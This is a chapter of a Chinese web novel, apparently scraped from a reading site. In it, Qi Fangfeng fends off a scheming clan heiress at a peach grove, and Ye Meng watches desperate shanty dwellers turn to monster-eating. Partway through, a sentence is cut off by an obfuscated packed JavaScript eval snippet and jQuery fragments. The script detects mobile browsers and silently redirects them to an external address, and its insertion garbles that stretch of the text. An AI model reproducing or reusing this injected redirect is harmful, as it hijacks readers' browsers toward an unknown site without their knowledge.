叶蒙所知的野桃林位置较远,祁访枫算了算时间,决定先去踩个点。
白剑女君神通广大,她庇护下的南街与其他地区相比宵禁若隐若现,全凭民众乐意与否。
祁访决定明天再来,一来桃花总得要新鲜的,二来赶不回去上课会被李主簿骂。
唉,恐怖班主任。
野桃林无人养护,没长出随珠公子小院里那仿佛要连片接天的排场。不少有野趣的人早早来薅桃枝赏桃花,这的树居然有些稀疏。
叶蒙:“……抱歉,我没想到这点。”
祁访枫耸耸肩:“没办法啦,人总是这样,看见漂亮的花就忍不住摘。”
叶蒙:“你也喜欢摘漂亮的花吗?”
……这话问得巧妙,它让祁访枫想起来上辈子刷过的小段子。
“不,我会摘最丑的那朵。”祁访枫笑着说。
虽然没人懂,但自娱自乐不失为一众乐趣。她想。
叶蒙果然好奇了:“为什么?”
祁访枫笑嘻嘻地说:“因为我不允许我的花园里有丑东西!”
叶蒙顿了顿,一阵意料之外的掌声忽然响起。
祁访枫警觉地侧身防备,那人也不避,带着一众仆从款款而出。
僮仆们备着布袋、花锄、笔墨纸砚等等一大堆野营写生用品。
为首的女妖则高冠博带,衣袂飘飘,浑身散发着高雅古朴的香薰味,一看就是个老钱。
“在下玉河薛氏玉照,小字清泽。”老钱开始自我介绍,笑容满面,“姑娘此话,闻之不俗。”
祁访枫沉默了,她能说什么——哈哈阁下真有眼光?
开玩笑,她上辈子刷到这个段子,热评第一条就是“此子有帝王之姿”。
……可恶,她只是随口开个玩笑而已,你偷听了还出来说,这不捣乱吗!
戚同琴不在,叶蒙指望不上,祁访枫只能硬着头皮说:“小人狂妄,此乃无心之言,女君莫放在心上……”
薛玉照:“阁下岂不闻,诗曰:多情必多疑,无心最真心。”
“……”你到底要干啥!
祁访枫开始思考,做掉这个氏族小姐然后成功脱身的概率有多大。遗憾发现概率不高后,她默默看向薛玉照。
薛玉照莫名打了个寒颤。
祁访枫:“女君究竟有何贵干?”
薛玉照饶有兴致地打量着她:“姑娘希望我有何贵干?”
祁访枫眯起眼,双手环胸:“怎么,我说什么,你就做什么?”
气氛有了几分剑拔弩张的意味,叶蒙退到祁访枫半步之后,背手握住匕首。
薛玉照眼中的兴致更盛:“你不说,怎么知道我不做?”
祁访枫没了耐性,翻了个白眼,嗤笑一声:“让开,或者把你家送我,大小姐。”
语毕,她拽上叶蒙往前走。薛玉照一愣,下意识伸出折扇要拦:“诶……”
祁访枫冷冷地瞥她一眼,薛玉照不由得收起折扇,木愣愣地看着两人离开。
“姬主!”僮仆急道,“此人这般无礼——”
“我很不讨人喜欢吗?”薛玉照怀疑人生,她看向僮仆,手不自觉地抹上自己的脸,“她就这么讨厌我?”
僮仆错愕地看着她,薛玉照遗憾地摇摇头:“如此心性,不得她青眼,倒是我之不幸了。”
高冠博带的小姐步伐缓慢悠闲,晃到桃花树下,面带笑意,仰头打量稀疏的花枝。
一只雀鸟落在枝上,也落进被枝枝树杈分割的蓝天中,俄顷,它飞出了桃林。
“是她吗?”薛玉照微微侧头,面上笑意不变。
侍从一拱手:“确是往南街去了,是她。”
薛玉照又抬起头,轻轻打着扇子,嘴角笑意更浓:“难怪白剑看重她。”
侍从欲言又止:“……姬主,白剑庇护她,不过是她运道好,恰巧在白剑面前遭了灾。南街那些人,哪个不是像这样被她捡来的?倒是南荣将军,能得她青眼的人可不多,多少大家子侄在她那碰了壁……”
“你不懂——”薛玉照笑着,“能得白剑喜欢,那才难得。”
“白剑,不过一剑客。”侍从不赞同道。
薛玉照冷笑一声:“白剑此人,最可怕的就是她只是一个剑客。”
东莲王勇武卓绝,放眼中原,能和她打一个来回的摄政王甚至还没出生。但那有如何呢?
她是王,而只要她还想当一个王,她就充其量只是个大号南荣珴。
氏族会因为她的勇武顺从,口服心不服。他们有的是本事和东莲王打擂台,也有的是主意把她打下去。
但剑客不同。
剑客不需要平衡手下,不在乎领地统治,也能不在乎子民。
他们手上的筹码在她眼里就像这大片的桃花,很有气势,但毫无威慑力。
无欲则刚,剑客一怒,血溅五步。
巧且不幸的是,氏族或许能在浮尸百万的君王之怒中活下来,但一定不能跑不出五步。
薛玉照半阖眼,在手心敲了敲扇柄,心下已定。
旧主将死,新主将立,如此动荡之际,薛家需要一块廉石。最好,这块廉石还是对准别人的屠刀。
“摆开吧。”薛玉照吩咐道。
侍从一愣:“什么?”
薛玉照嗔怪地敲了敲她的脑袋:“画布啊!本小姐出来写生,耽搁一小会,你们就忘了来意了?”
侍从就悟了,心下半是懊恼,嘴上急忙催促:“还不快给姬主备好!”
僮仆们恍然回神,速度快,动作稳,各司其职地支起华盖、摇起团扇、张开画布……
薛玉照时不时抬头望向桃花林,下笔如飞,顷刻间,一副栩栩如生的春山野桃图便跃然纸上。
她当然是来画画的。
再怎么说,她也得让别人确信她是来画画的,如此一来人们才会相信偶遇只是偶遇。
来日祁姑娘问起,她才有一副如假包换的化作以纪念她们有趣的偶遇,不是吗?
——
祁访枫跑了,总觉得那氏族小姐不安好心,赶紧回去和戚同琴商量一下。
叶蒙送她到街口便打算告辞,并赶在祁访枫挽留前说:“近日来城外有异动,寄之让我帮忙主意着,我留在棚屋才好向她交代。”
祁访枫这才点了头。
她对宏观大局有些粗糙的见解,可要论真材实料,那还得是戚同琴这个本地人。
戚同琴说时局有变,那是真的会变。
叶蒙目送祁访枫去拜访李环,转身走向棚屋。
在各大国主的领土上,城市规划大同小异。
王城中央是摄政王的宫殿,外头围了一圈的是内城区,住着达官贵人,高门士族。
内城区外的一环是外城区,那的居民是“皇城根下”的平民百姓。再外圈是农村、郊外。
其他城市也是如此,由内而外分别是城主府、内城区、外城区、镇子、边缘乡村。
在这一个个波澜涟漪般的圆形区域交界处是野兽出没人烟稀少的荒野,一般来说,棚屋区就坐落在其中。
妖族会像野兽一样捍卫他们的领地,为此疯狂厮杀。他们尝尝自称为“人”,这不能改变什么,人也是动物,也为领地厮杀,无非是方式上的差别。
而在这之中,摄政王拥有最大的领地,氏族拥有最坚实的领地,平民们没有领地。
他们或许有故乡,有出生、成长的地方,甚至有一张地契,那是法律划定的土地证明。
但法律不是背过就生效的神旨。
当另一个摄政王的铁蹄踏过来,红了眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437287|200977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的士兵会屠杀他们、新的官吏会巧取豪夺他们的土地,那张地契甚至来不及为他们陪葬。
他们没有领地,不会认为最内层、最高高在上的那位摄政王是他们的主人。
在基层,氏族的影响力远比摄政王大。
他们花了许多年,许多代人,供养一任又一任的摄政王,看诸侯你方唱罢我登场,在领地上悄然织出一张大网。
摄政王们在某个时代惊觉,他们的官吏是氏族的门生故吏,没有氏族,他们的统治就得如奶油般化开。
为了打破这种垄断,摄政王们也作出过努力。比如用纸张替代笨重的竹简、提拔乡野贤臣,但一切作用不大。
平民们畏惧氏族的管事,看摄政王的眼神却迷糊。
老x家打我祖祖母就在了!你这个摄政王,能比前一任多活多久?那家伙只统治了我们十年嘞!
他们虽生如蒲草,可世世代代如蒲草,那也是一种稳定。
蒲草依旧是那样。
棚屋依旧是那样。
污垢遍地,流民面黄肌瘦,过分勤劳地讨生活。
倘若有哪怕一个氏族踏入棚屋,他都会惊讶无比,这些在他们眼中卑贱不堪的人居然从不浑浑噩噩。
他们比任何人都勤奋,这些吃穿都成问题的尤其比不愁吃穿的人勤奋。拼了命地向来往的村民、市民、氏族官僚招呼,只为求一份干了活就能拿钱的好工作。
叶蒙低调地回到自己的小屋前,沉默地处理新猎到的皮草。
隔壁的流民不知何时死了。或许是死了。反正叶蒙在某一天后就没看见过她,那间简陋的屋舍换了个人住,而她再没出现过。
新邻居也是个面黄肌瘦的,每日捧着仅剩的小破碗乞讨或打短工渡日。
今日,她回来了。
叶蒙瞥了她一眼,鞣制皮草的动作滞住,很快又如常进行,仿佛只是疲劳后的卡顿。
新邻居换了一副新面貌。
她一夜之间变得强壮高大,破旧的布衫几乎盖不住她一身鼓壮的肌肉,眼神也透着莫名的亢奋精神。
……这可不是什么好事。
叶蒙曾对祁访枫说起,他的母亲是武庄庄主。而庄主门徒出师后便是江湖客,承担了类似于镖局的工作。
江湖客为来往商队提供护卫,保护达官贵人出远门,有时部分摄政王的军书也要委托给他们,进而能得到官府的文书认证,是合法合规的正当职业。
这些科班出身的江湖客是整个行业的中流砥柱,按派系划分阵营,彼此竞争。
而散户式的江湖客同时占据了顶端和底层的生态位。
棚屋人便是底层江湖客之一,有人花点微薄的薪资委托他们打个水、送点货,也有人请他们袭杀仇人。
二者的难度显然不是一个量级,薪酬也不会是一个量级,而要钱的事,往往也要命。
妖族拥有变得强大的捷径——摄食魔物。
走投无路的底层人会孤身前往最蛮荒的地区,与魔物相互啃食。在魔物吃掉他之前,他先被含有魔气血肉强化,那就算成功了。
他杀掉它,回到自己的社群,等待需要被他杀死的他。
而后,刀口舔血、今朝有酒今朝醉、杀人者人恒杀之……
即使他侥幸不被杀死,魔气也会蚕食他的生命,把他变成它,直到下一个想要步入循环的底层人杀到它面前。
叶蒙看见了刚刚开启了“刀口舔血”这一环节的邻居,他下意识算了算这些天入行的人数,忽而皱起眉头。
……太多了。
俄顷,他的眉头又松开。
这是戚同琴料到的部分,他正为此留在棚屋进行确认。
叶蒙起身,他背着弓箭,将匕首绑在小腿内侧,带好干粮,鬼魅般消失在棚屋曲折的暗巷。